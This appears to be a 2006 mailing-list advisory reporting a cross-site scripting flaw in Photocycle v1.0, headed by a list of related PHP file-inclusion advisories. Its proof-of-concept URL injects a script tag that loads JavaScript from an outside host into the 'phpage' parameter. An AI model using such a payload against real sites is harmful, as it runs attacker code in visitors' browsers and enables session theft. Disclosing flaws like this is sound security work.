Related information

Daily web applications security vulnerabilities summary (PHP, ASP, JSP, CGI, Perl)

[SA21038] CzarNews "tpath" File Inclusion Vulnerability

SubberZ[Lite] - Remote File Include

perForms  <= 1.0 ([mosConfig_absol ute_path]) Remote File Inclusion

flatnuke <= 2.5.7 arbitrary php file upload

From:	luny_(at)_youfucktard.com <luny_(at)_youfucktard.com>
Date:	14.07.2006
Subject:	Photocycle v1.0 - XSS

Photocycle v1.0

Homepage
http://adambrown.info/p/tools/photocycle

XSS vuln on phpage var:

PoC
http://www.example.com/photocycle&phpage=<script%20src=http://www.youf
ucktard.com/xss.js></script>